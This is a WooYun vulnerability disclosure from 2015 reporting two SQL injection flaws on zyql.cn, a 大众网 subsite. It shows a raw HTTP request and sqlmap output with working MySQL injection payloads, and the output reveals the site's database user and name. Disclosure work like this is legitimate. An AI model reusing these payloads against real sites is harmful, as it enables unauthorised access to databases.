当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149145

漏洞标题:大众网某分站点SQL注入(两处)

相关厂商:大众网

漏洞作者: 路人甲

提交时间:2015-10-24 15:11

修复时间:2015-10-29 15:12

公开时间:2015-10-29 15:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-24: 细节已通知厂商并且等待厂商处理中
2015-10-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

rt

详细说明:

第一处注入:

POST /?m=scenic.getTicketPrice HTTP/1.1
Content-Length: 20
Content-Type: application/x-www-form-urlencoded
Referer: http://www.zyql.cn/
Cookie: PHPSESSID=b917lt5buio73h7h114tik6mt5; zh_choose=n; Hm_lvt_ab94bc403b231409f603350a435c74c5=1445657498,1445657687,1445657817,1445658199;
Host: www.zyql.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
day=e&ticketId=1'%22
ticketId参数存在sql注入


sql注入二:

http://www.zyql.cn/scenic/list-0-0-0-0-0-0-0-1-1'%22.html
list-0-0-0-0-0-0-0-1-1参数存在sql注入

漏洞证明:

参数 --no-cast
sqlmap identified the following injection points with a total of 708 HTTP(s) requests:
---
Parameter: ticketId (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: day=e&ticketId=1' RLIKE (SELECT (CASE WHEN (4832=4832) THEN 1 ELSE 0x28 END)) AND 'pfzc'='pfzc
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: day=e&ticketId=1' AND EXTRACTVALUE(7652,CONCAT(0x5c,0x7171787671,(SELECT (ELT(7652=7652,1))),0x716a706271)) AND 'MyZg'='MyZg
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: day=e&ticketId=1' OR SLEEP(5) AND 'jKGb'='jKGb
---
web application technology: PHP 5.3.28
back-end DBMS: MySQL 5.1
current user: 'zhouyouqilu@%'
current database: 'zhouyouqilu'
current user is DBA: False
available databases [1]:
[*] zhouyouqilu

修复方案:

参数过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-10-29 15:12

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论